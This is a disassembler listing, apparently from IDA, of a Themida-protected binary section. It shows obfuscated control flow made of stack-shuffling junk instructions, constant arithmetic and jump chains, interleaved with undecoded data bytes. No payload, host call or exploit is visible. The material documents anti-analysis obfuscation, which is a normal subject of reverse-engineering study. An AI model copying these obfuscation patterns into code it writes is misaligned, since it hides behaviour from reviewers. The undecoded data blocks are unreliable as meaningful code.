		dd 0EC8104C4h, 4, 0E9243C89h, 0FFFF6504h, 0EB28F5B5h, 0E9240C8Bh
		dd 0FFFFF192h, 0ABE95A54h, 50000041h, 9022E9B8h, 13B23538h
		dd 0EA8171E7h, 48183446h, 0C281C229h, 48183446h, 0FFDFD3E9h
		dd 59CE29FFh, 0FFC0A3E9h, 3C895CFFh, 4BF24h, 0F8290000h
		dd 484AE9h, 3E0C100h, 1FD5B235h, 533CE918h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E862:				; CODE XREF: Themida_:0055C87Fj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55F63A
; ---------------------------------------------------------------------------
		db 83h
		dd 0EE0104C4h, 5D2434FFh, 4C481h, 0F7010000h, 8324348Bh
		dd 148904ECh, 81E28924h, 4C2h, 4C28100h, 87000000h, 248B2414h
		dd 74FF5724h, 8F5F0424h, 665C2404h, 0E9240C8Bh,	0FFFF8D61h
		dd 0B551A7B2h, 80D5F6D8h, 0EA2839F5h, 0E9CA2859h, 0FFFF9D7Dh
		dd 0EF81DF01h, 28A16615h, 83241C8Bh, 0FB0104C4h, 5BD9E95Fh
		dd 0D0300000h, 0E924148Bh, 1C69h
; ---------------------------------------------------------------------------


loc_55E8E0:				; CODE XREF: Themida_:0056343Fj
		jmp	loc_550F5F
; ---------------------------------------------------------------------------


loc_55E8E5:				; CODE XREF: Themida_:0055D18Ej
		add	esp, 4
		jmp	loc_55FEAE
; ---------------------------------------------------------------------------
		dd 2B63C581h, 0CD017EF1h, 0FFDB4FE9h, 0BB535DFFh, 4EDE7672h
		dd 4F4CE381h, 0C3816E09h, 0C005D7C0h, 0FF467BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E915:				; CODE XREF: Themida_:00557AF0j
		add	ebp, 4
		push	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_564DBB
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2474FF55h, 48F5D04h,	0EC835C24h, 9B05E904h, 0E952FFFFh
		dd 0FFFF32C1h, 4FE9E1B7h, 68FFFFD9h, 674Bh, 0FF240489h
		dd 0E9042474h, 0FFFFDF47h
; ---------------------------------------------------------------------------


loc_55E964:				; CODE XREF: Themida_:0055F0E9j
		add	ebp, 4
		push	ebx
		mov	ebx, 2
		add	ebp, ebx
		pop	ebx
		push	0CA7h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		xor	dword ptr [esp], 340A09E9h
		jmp	loc_56113D
; ---------------------------------------------------------------------------
aXS		db 'X]И©',0Bh,0
		dd 1AE95E00h, 57FFFFCBh, 0A4B7E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_551A2C
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 257A7A2Ch, 29F28142h, 1677B7Bh, 0AFE95AD7h, 0FFFFFF46h
		dd 815F2404h, 0AB371AE7h, 0FCEF8152h, 81522B35h, 1B7D6AE9h
		dd 81F9012Dh, 1B7D6AC1h, 0EC835F2Dh, 24348904h,	0FF2AF4E9h
		db 0FFh
byte_55EA01	db 66h,	0F7h, 1Ch	; DATA XREF: Themida_:00550DA8o
		dd 0C9E99C24h, 25FFFF91h, 79B20974h, 7DFFF405h,	7EB9E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EA1A:				; CODE XREF: Themida_:00553685j
		and	eax, edx
		pop	edx
		or	eax, eax
		jnz	loc_5627C1
		push	67B4h
		jmp	loc_565471
; ---------------------------------------------------------------------------


loc_55EA2F:				; CODE XREF: Themida_:0055DDF3j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	ebx, 1F5312BCh
		add	ebx, 36927AD2h
		sub	ebx, eax
		push	edx
		mov	edx, 68081EDFh
		inc	edx
		jmp	loc_554902
; ---------------------------------------------------------------------------
word_55EA6E	dw 53ADh		; DATA XREF: Themida_:00550D4Co
		dd 0EC6B3EBBh, 4BDBF743h, 7587EB81h, 0D80155BDh, 397DE95Bh
		dd 0C8890000h, 0FF77E3E9h, 0FE43B1FFh, 90E980C9h, 0B652C1FEh
		dd 3527E937h, 5A66FFFFh, 0C0F28166h, 0EC815D05h, 4, 53242C89h
		dd 441668h, 242C8900h, 66D58966h, 665DEB89h, 4816653h
		dd 6607C224h, 6651665Dh, 0E907C2B9h, 0FFFFE690h, 667FC380h
		dd 0E935B551h, 49A5h, 4C481h, 0EBE90000h, 56FFFFFDh, 3246D7BEh
		dd 5EF10170h, 6B2DF181h, 1D68DC88h, 0E900003Ch,	0FFFFF462h
; ---------------------------------------------------------------------------


loc_55EB04:				; CODE XREF: Themida_:0055C612j
		jmp	loc_550F5F
; ---------------------------------------------------------------------------
		db 9, 0F3h, 5Eh
		dd 9EC381h, 0A2E932E0h,	54FFFF52h, 40558h, 0C0830000h
		dd 24048704h, 51D2315Ch, 0C181E189h, 4,	4BB53h,	0D9290000h
		dd 5B2434FFh, 4C481h, 0C330000h, 240C3124h, 0E9240C33h
		dd 5320h, 5C241C87h, 0E9E38953h, 0FFFFA245h, 59CB2959h
		dd 0EDAB850h, 54BD3E8Eh, 0E95212F6h, 6527h, 751C68h, 24248900h
		dd 2CC1E9h, 24B95100h, 0E9468A15h, 0FFFF8876h, 0B5770568h
		dd 814A5A0Ch, 475E11F2h, 28D3E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EB9A:				; CODE XREF: Themida_:00558938j
		mov	[esp], eax
		mov	eax, 6AC50F9Ah
		shr	eax, 2
		xor	eax, 1AB143E2h
		jmp	loc_5569E6
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C38103EBh, 101E4ED1h, 25068h, 24348900h, 7E7EA3BEh
		dd 7C51E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EBCA:				; CODE XREF: Themida_:00554925j
		push	edi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5602E4
; ---------------------------------------------------------------------------
		db 87h
		dd 685C2414h, 2076h, 0E9240489h, 0FFFF2377h, 0E908E0C0h
		dd 0FFFF96A6h
; ---------------------------------------------------------------------------


loc_55EBF0:				; CODE XREF: Themida_:005549F9j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55BCA2
; ---------------------------------------------------------------------------
		dw 8966h
		dd 99B5240Ch, 0E99EB652h, 711h,	0F40D00BDh, 8BEE091Bh
		dd 0F2E9242Ch, 68000037h, 3761h, 8B243C89h, 0C483241Ch
		dd 243C8B04h, 2104C483h, 2434FFD8h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_561D1D
; ---------------------------------------------------------------------------
		db 83h
		dd 0E0C104C4h, 24E42D07h, 5BE933FAh, 66FFFFACh,	43EA8059h
		dd 0FFAC9BE9h, 5D5B55FFh, 525EF329h, 804A79BAh,	2161E90Fh
		dd 248B0000h, 6D696824h, 1C890000h, 14316824h, 68E90000h
		dd 52000036h, 0F00090B6h, 96C7E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC9A:				; CODE XREF: Themida_:00558823j
		inc	ebx
		dec	ebx
		add	ebx, 3C5F60C5h
		jmp	loc_56342D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 2474FF52h, 48F5A04h,	24248B24h, 9C2404FEh, 0FF22A2E9h
		dd 240C87FFh, 4EC815Ch,	89000000h, 68E9240Ch, 1FFFFB0h
		dd 5904244Ch, 870BE959h, 0EDC1FFFFh, 0CCF8E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ECE2:				; CODE XREF: Themida_:00553ADEj
		mov	ebx, 1B601311h
		sub	ebx, 1B601310h
		add	ebp, 3C3976E1h
		sub	ebp, 502445DCh
		sub	ebp, ebx
		push	eax
		mov	eax, 502445DCh
		add	ebp, eax
		jmp	loc_55BFC2
; ---------------------------------------------------------------------------


loc_55ED08:				; CODE XREF: Themida_:00561C70j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55235F
; ---------------------------------------------------------------------------
		db 81h
		dd 0EF0EE3E9h, 86C9816Ch, 81366548h, 6DC892E9h,	86BD55B7h
		dd 1161B69h, 0E1FEE9EAh, 0C781FFFFh, 4,	4BB53h,	9DE90000h
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55ED4B:				; CODE XREF: Themida_:0055DEFCj
		pop	esp
		sub	ebp, 1
		jmp	loc_557F19
; ---------------------------------------------------------------------------


loc_55ED57:				; CODE XREF: Themida_:005590E4j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	edi, 6A322310h
		jmp	loc_55E77B
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 75h
		dd 0C12CF843h, 0ED8103EDh, 5E10874h, 575DEE01h,	2BFh, 4B10E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ED86:				; CODE XREF: Themida_:00556D2Dj
		pop	edi
		add	esi, 1CE309DCh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esi, 5B4A24DFh
		jmp	loc_56459D
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 65BDE924h, 0B868FFFFh, 8900006Bh, 468240Ch, 59000000h
		dd 0FFF0CDE9h, 0BBEB81FFh, 5170B079h, 47BEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EDC9:				; CODE XREF: Themida_:00565992j
		mov	[esp], ecx
		push	0E04h
		mov	[esp], edi
		mov	edi, 1
		push	edi
		pop	ecx
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		and	eax, ecx
		jmp	loc_5534D1
; ---------------------------------------------------------------------------


loc_55EDE9:				; CODE XREF: Themida_:005564F9j
		mov	esi, 4
		push	ebx
		jmp	loc_5537E9
; ---------------------------------------------------------------------------
		dd 1CE28142h, 81645407h, 715D18CAh, 79F28163h, 31472B72h
		dd 2901E9D6h, 0B6BAFFFFh, 512A7860h, 451D69B9h,	44C18103h
		dd 0E91DA2F8h, 0FFFF9DD9h, 0C781DF01h, 766A1213h, 243C875Bh
		dd 2055Ch, 4870000h, 0DAE95C24h
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EE3F:				; CODE XREF: Themida_:005635D5j
		push	eax
		mov	eax, 4
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55928F
; ---------------------------------------------------------------------------


loc_55EE52:				; CODE XREF: Themida_:0056077Bj
		sub	ebx, 1DAD7FF3h
		jmp	loc_563091
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 1Eh
		dd 8B5B3971h, 0C481242Ch, 4, 7405BE56h,	0C3E92748h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EE77:				; CODE XREF: Themida_:005572A0j
		sub	esi, 800C80h
		mov	edx, esi
		pop	esi
		add	[esp+4], edx
		pop	edx
		jmp	loc_55D8EB
; ---------------------------------------------------------------------------
		dw 73B8h
		dd 3136E804h, 0DD57E9C2h, 8166FFFFh, 667CBDC2h,	8124348Bh
		dd 2C4h, 0D0316600h, 0C331665Ah
		db 0Fh,	0B7h, 0C0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5619BE
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 52000000h,	64486FBAh, 63C4E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EEDA:				; CODE XREF: Themida_:00565843j
		push	edi
		jmp	loc_552594
; ---------------------------------------------------------------------------
		dd 73FDF181h, 0CA297F7Bh, 0FFA11EE9h, 0F5015DFFh, 0FF76C4E9h
		dd 171F68FFh, 2C890000h, 0E9E58924h, 0FFFF250Fh
; ---------------------------------------------------------------------------


loc_55EF04:				; CODE XREF: Themida_:00550F8Fj
		mov	edx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5562B9
; ---------------------------------------------------------------------------
		db 4Eh
		dd 7AA2F681h, 0EED172B2h, 0DEF7DEF7h, 4A41E9h, 59CD8900h
		dd 4BCD8158h, 81532E13h, 0AF33FFF5h, 5DEE8957h,	12FFEA81h
		dd 0F201192Ch, 12FFC281h, 0E95E192Ch, 4B8Bh
; ---------------------------------------------------------------------------


loc_55EF4C:				; CODE XREF: Themida_:0055E649j
		push	56FFh
		mov	[esp], ebx
		mov	ebx, 4
		push	ebx
		add	dword ptr [esp], 7093DCCh
		pop	edi
		push	edx
		mov	edx, 6F4B016Ah
		jmp	loc_55B21A
; ---------------------------------------------------------------------------


loc_55EF6D:				; CODE XREF: Themida_:0055ADD1j
		add	ecx, ebx
		pop	ebx
		mov	edi, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5542C4
; ---------------------------------------------------------------------------
		dd 5024248Bh, 0C380F1B0h, 78C38065h, 0FFEFADE9h, 58C189FFh
		dd 5A0DE9h, 24043300h, 33240431h, 875C2404h, 38E9240Ch
		dd 5CFFFFC2h, 4441BE56h, 8146438Dh, 0EF5457F6h,	0D6F74676h
		dd 3BE6E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EFC2:				; CODE XREF: Themida_:00564CA5j
		mov	ebp, ecx
		pop	ecx
		add	eax, ebp
		jmp	loc_561EC7
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F5Dh,	3736E9h, 2434FF00h, 49F6E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EFE2:				; CODE XREF: Themida_:00554E00j
		add	esp, 4
		sub	eax, 19704A73h
		mov	edx, eax
		pop	eax
		push	esi
		jmp	loc_5534EE
; ---------------------------------------------------------------------------
		db 5
		dd 4, 36B95152h, 0F7484947h, 49D9F7D1h,	0FF5AE2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F009:				; CODE XREF: Themida_:0055CB07j
		shl	ebp, 3
		shl	ebp, 2
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_551EDD
; ---------------------------------------------------------------------------


loc_55F01D:				; CODE XREF: Themida_:0055A759j
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	eax
		push	1539h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		push	6D13h
		mov	[esp], ebx
		mov	ebx, 301363C9h
		shr	ebx, 2
		inc	ebx
		xchg	eax, ebx
		not	eax
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		pop	ebx
		pop	eax
		jmp	loc_558C04
; ---------------------------------------------------------------------------
		dd 5324048Bh, 0E5E9E389h, 0E900003Bh, 0FFFF1EEBh, 0D5D9EB81h
		dd 1CE9B947h, 66FFFF4Fh, 665F6656h, 0C781665Eh,	166BC5Dh
		dd 243C8BFBh, 4C481h, 5660000h,	69E90FA0h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F09F:				; CODE XREF: Themida_:005632E2j
		shl	edx, 8
		dec	edx
		xor	edx, 17A0CEFFh
		sub	ebp, edx
		pop	edx
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55D749
; ---------------------------------------------------------------------------
		db 68h,	10h, 2Dh
		dd 34890000h, 2DB3BE24h, 0D7E93F93h, 81FFFF71h,	0B66AC6C1h
		dd 0E9D9F75Dh, 42ACh
; ---------------------------------------------------------------------------


loc_55F0DC:				; CODE XREF: Themida_:00560788j
		push	dword ptr [esp]
		jmp	loc_5612C2
; ---------------------------------------------------------------------------


loc_55F0E4:				; CODE XREF: Themida_:0055CD89j
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_55E964
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 0FFA81FE9h, 81DEF7FFh, 0C2F078EEh, 5EF3316Ah, 36BD5552h
		dd 51634C14h, 5135FFB9h, 59CA8909h, 95DEA31h, 24148BD3h
		dd 4C481h, 0E94B0000h, 0FFFF68B3h, 7872E981h, 0F2E92456h
		db 3Ah,	2 dup(0)
byte_55F133	db 0ACh			; DATA XREF: Themida_:00550CF4o
		dd 7E9D830h, 0F7FFFF78h, 81D587DAh, 2AF8E3C5h, 12C18160h
		dd 0E96F505Eh, 2722h, 6EE268h, 240C8900h, 10BCE9h, 0C6815F00h
		dd 0C6E08EAh, 0FFD04CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F169:				; CODE XREF: Themida_:00553A7Ej
		pop	esp
		jmp	loc_559998
; ---------------------------------------------------------------------------


loc_55F16F:				; CODE XREF: Themida_:00562CF0j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55AFE1
; ---------------------------------------------------------------------------


loc_55F182:				; CODE XREF: Themida_:00563FB5j
		add	dword ptr [esp+4], 7AFC5220h
		sub	[esp+4], ebp
		sub	dword ptr [esp+4], 7AFC5220h
		pop	ebp
		pop	dword ptr [eax]
		push	0A8Bh
		jmp	loc_55DF9D
; ---------------------------------------------------------------------------


loc_55F1A3:				; CODE XREF: Themida_:00552158j
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5585CD
; ---------------------------------------------------------------------------
		dw 0F680h
		dd 0E9F32854h, 516Ch, 2EE81h, 0E2E90000h, 88000010h, 0EA8859EBh
		dd 5B66DD88h, 0F6D18851h, 59CA88D1h, 88D38853h,	5BDD88EAh
		dd 0FFAB4BE9h, 0B35352FFh, 8BDA88D1h, 0C481241Ch, 4, 0FFD9C5E9h
		dd 5EF189FFh, 0E9243C8Bh, 2B44h, 66E9565Ch, 1FFFF60h, 2C812404h
		dd 3D0CA424h, 24048112h, 7A4B565Eh, 3E242C81h, 0E9147D11h
		dd 0FFFFA81Ah
; ---------------------------------------------------------------------------


loc_55F224:				; CODE XREF: Themida_:00552866j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55357B
; ---------------------------------------------------------------------------
		db 81h
		dd 0E74F3AC3h, 81EB0161h, 0E74F3AEBh, 0D8015D61h, 74FF505Bh
		dd 0A0E90424h, 21FFFF22h, 77E95EF0h, 87000018h,	665C240Ch
		dd 9C240429h, 0FF1CEAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F275:				; CODE XREF: Themida_:00557C7Ej
		mov	[esp], ax
		jmp	loc_550F5F
; ---------------------------------------------------------------------------


loc_55F27E:				; CODE XREF: Themida_:00565BB5j
		mov	ebp, ecx
		pop	ecx
		and	ebp, 27C15D5Fh
		dec	ebp
		push	ecx
		mov	ecx, 325270FCh
		and	ebp, ecx
		pop	ecx
		sub	ebp, 22001018h
		jmp	loc_552EF5
; ---------------------------------------------------------------------------
		dd 0D105EDC1h, 1E9D68E5h, 1C890000h, 0A782BB24h, 0DD313E7Fh
		dd 5B2434FFh, 4C481h, 72E90000h, 68FFFF38h, 27F6h, 5464E9h
		dd 0FFC38100h, 81FFFFFFh, 0C47E26CBh, 0E3C14B16h, 44C38105h
		dd 101502Ah, 2D685BDEh,	89000025h, 0DFE92414h, 8B00002Ah
		dd 0D0E92404h, 59FFFFBCh, 0EEC1DEF7h, 2EEC106h,	1EE81h
		dd 0BB530000h, 1A9C5E77h, 0C143DBF7h, 0F38104EBh, 0DEAC47Dh
		dd 0FFC70DE9h, 86E680FFh, 802DB151h, 0C9FE85E1h, 30DCC180h
		dd 0F00059CEh, 0A6CDE95Ah
		db 2 dup(0FFh)
word_55F336	dw 8B66h		; DATA XREF: Themida_:00550E30o
		dd 0A168240Ch, 89000021h, 8B542404h, 0C4832404h, 89565704h
		dd 4C681E6h, 81000000h,	4EEh, 24348700h, 2434895Ch, 0A04A8BEh
		dd 5EF78914h, 2EACE955h, 0E0890000h, 8D6BE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F376:				; CODE XREF: Themida_:00561217j
		push	edi
		jmp	loc_561120
; ---------------------------------------------------------------------------
		dd 0C8BE828h, 4C48324h,	0B1515253h, 0F51EE942h,	0BE56FFFFh
		dd 2E1A21h, 1DC1E946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F39A:				; CODE XREF: Themida_:00564A95j
		pop	edi
		pop	edi
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_557FF9
; ---------------------------------------------------------------------------


loc_55F3A6:				; CODE XREF: Themida_:0055DA42j
		mov	esi, ecx
		pop	ecx
		pop	ebp
		shr	esi, 8
		push	eax
		push	edx
		mov	edx, 77D80009h
		push	edx
		pop	eax
		pop	edx
		sub	eax, 9DD86ACFh
		sub	esi, 2CBB2A9Fh
		jmp	loc_557627
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFF902E9h, 375CB9FFh, 48E914D0h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F3D7:				; CODE XREF: Themida_:00553486j
		sub	ebp, edx
		pop	edx
		add	ebp, 6ED712E6h
		jmp	loc_5558F0
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 0E9242C31h, 0FFFF6F2Eh, 5104C483h, 3A3068h, 24248900h
		dd 4240483h, 0B2A1E959h, 1C8BFFFFh, 4C48124h, 0E9000000h
		dd 0FFFF6804h, 80AFC380h, 0EB8008EBh, 0C8B6698h, 2C48124h
		dd 68000000h, 69E9h, 0BB241C89h, 38h, 5F7DEB81h, 0DFE90216h
		dd 89FFFFF2h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 4625685Ch
		dd 3C890000h, 81E78924h, 4C7h, 4EC8100h, 89000000h, 0DE92434h
		dd 68FFFF3Eh, 638Fh, 57241489h,	0FF89CFE9h, 4C483FFh, 4C781h
		dd 0BD550000h, 1E1E3D4Dh, 0FFD123E9h, 0E18951FFh, 4C181h
		dd 0C1810000h, 4, 0FF4249E9h
		db 0FFh
byte_55F4A5	db 57h,	54h, 5Fh	; DATA XREF: Themida_:00550DBCo
		dd 8904EC83h, 0CB9240Ch, 0C1408D74h, 0BA5204E1h, 642920BDh
		dd 0C15AD131h, 0E98102E9h, 45B17FDh, 551BC981h,	9A6817BFh
		dd 89000022h, 84BA2414h, 8122E87Eh, 0B3E63EAh, 4EAC168h
		dd 72F2F281h, 0C14A635Eh, 0EA8102E2h, 8BCEC67Dh, 42E9D131h
		dd 81FFFF1Ch, 3279B6EBh, 9C3817Eh, 5009904Bh, 576FBB53h
		dd 0D88954F8h, 1055Bh, 0BE560000h, 3C0C677Fh, 203BC681h
		dd 0D6F706A1h, 1BB1E9h,	0C8305800h, 8BC30059h, 0C4832404h
		dd 0AFEB8004h, 0D5E9EB00h, 58FFFFFEh, 5C24048Fh, 0FF82B2E9h
		dd 77EF81FFh, 8B3D6202h, 0EC81242Ch, 4,	0E9243C89h, 3702h
		dd 2068F301h, 89000076h, 0BF572404h, 550B77B8h,	15FF889h
		dd 62E958C3h, 0FFFFFFD5h, 68582434h, 907h, 54241C89h, 5A0EE9h
		db 0
byte_55F58D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550E04o
		dd 4EC8124h, 0E9000000h, 0FFFF2FC4h, 0E9243433h, 594h
		dd 0BE56E901h, 757F2789h, 1A8AEE81h, 71E90B8Eh
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F5B7:				; CODE XREF: Themida_:0055E613j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	2A46h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	36Dh
		mov	[esp], eax
		jmp	loc_561207
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 70757EC5h, 56A0EA81h, 0C2010802h, 56A0C281h,	0EA810802h
		dd 70757EC5h, 337468h, 24348900h, 6C8EBB53h, 0E3C16036h
		dd 81685006h, 89000029h, 2CB9240Ch, 8136A640h, 7B7E7BE1h
		dd 4E1C161h, 180AC181h,	0C8897071h, 1CA8E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F63A:				; CODE XREF: Themida_:0055E866j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55D1BA
; ---------------------------------------------------------------------------
		dw 5158h
		dd 0AD2B08B9h, 8EC4BD6Dh, 0CD29AF67h, 1C3CE959h, 34FF0000h
		dd 89505B24h, 0E4B9E9E0h, 0DF01FFFFh, 2A93E95Bh, 20590000h
		dd 24148BF0h, 0E904EC83h, 0FFFFC38Dh, 1769C681h, 0DEF7620Bh
		dd 0E6C1D6F7h, 0E9DEF704h, 0FFFFEA7Ah, 2454F652h, 7E95A01h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F6A7:				; CODE XREF: Themida_:00556C8Ej
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		jmp	loc_560795
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0FFE904E2h, 89FFFFF2h, 9EE9241Ch, 55FFFF8Ah,	0FFE4CAE9h
		dd 24048FFFh, 4B850h, 0FCE90000h, 52FFFFC7h, 4BAh, 5AD50100h
		dd 4C581h, 2C330000h, 0C3C0E924h, 0DF29FFFFh, 6F0DE95Bh
		dd 29BDFFFFh, 4D4B4433h, 56DDE581h, 0E5C10706h,	81DDF704h
		dd 0DFDA04F5h, 5DEA29FBh, 148BD601h, 4C48324h, 0FFCF22E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F725:				; CODE XREF: Themida_:00562183j
		sub	esi, 37CC5798h
		push	edx
		jmp	loc_559AF0
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 1Ch
		dd 0B5000036h, 0BAEA803Dh, 5BE9EA00h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F743:				; CODE XREF: Themida_:0055BEB8j
		add	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_554A06
; ---------------------------------------------------------------------------


loc_55F754:				; CODE XREF: Themida_:0055A11Aj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	dl, bh
		push	ebx
		mov	bh, dl
		jmp	loc_563C6E
; ---------------------------------------------------------------------------


loc_55F777:				; CODE XREF: Themida_:0055CF19j
		sub	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		sub	dword ptr [esp], 405B0428h
		pop	ebp
		add	ebp, 405B0428h
		pop	ecx
		jmp	loc_558EB3
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 0A40E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55F7A2:				; CODE XREF: Themida_:00563240j
		pop	edi
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_55E620
; ---------------------------------------------------------------------------
		db 5Ah,	83h, 0C4h
		dd 2CB95104h, 56000000h, 6D030CBEh, 43E98146h, 1560535h
		dd 43C181F1h, 0FF560535h, 505E2434h, 5551E089h,	0FF2FCCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F7DD:				; CODE XREF: Themida_:00559AF1j
		mov	ecx, 45AE6228h
		mov	edx, 744D5EABh
		xor	edx, ecx
		pop	ecx
		xor	edx, 67901294h
		or	edx, 571C18C5h
		sub	edx, 4D7B6BB9h
		not	edx
		sub	edx, 15A21F0Dh
		add	edx, 7CCB0292h
		sub	esi, edx
		pop	edx
		add	esi, edi
		add	esi, 5D251066h
		jmp	loc_559C63
; ---------------------------------------------------------------------------


loc_55F81A:				; CODE XREF: Themida_:00557A72j
		mov	ebx, 2C935ED3h
		xor	esi, ebx
		pop	ebx
		sub	ebx, esi
		pop	esi
		and	ebx, 1D9C0FD1h
		jmp	loc_55304B
; ---------------------------------------------------------------------------
		dd 6622C681h, 0F089F06Ch, 5E2434FFh, 4C481h, 0C3010000h
		dd 0F0E95758h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F84B:				; CODE XREF: Themida_:0055CB2Dj
		add	ebx, 1480411Ch
		shl	ebx, 5
		shr	ebx, 4
		shr	ebx, 3
		and	ebx, 2CB71CCAh
		sub	ebx, 0A40044h
		mov	eax, ebx
		pop	ebx
		sub	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		jmp	loc_561387
; ---------------------------------------------------------------------------
		dw 0D1B9h
		dd 0D10F885Fh, 41E981E9h, 8135844Ah, 0ED0055F1h, 7CC98141h
		dd 817D2672h, 0F6F7FAF1h, 59CB01FFh, 0FF9AE1E9h, 4C181FFh
		dd 81000000h, 4C1h, 240C8700h, 74ED815Ch, 119011Bh, 8BB951F5h
		dd 0C119B751h, 0C18104E9h, 1765A65Ch, 5E59CD01h, 2C581h
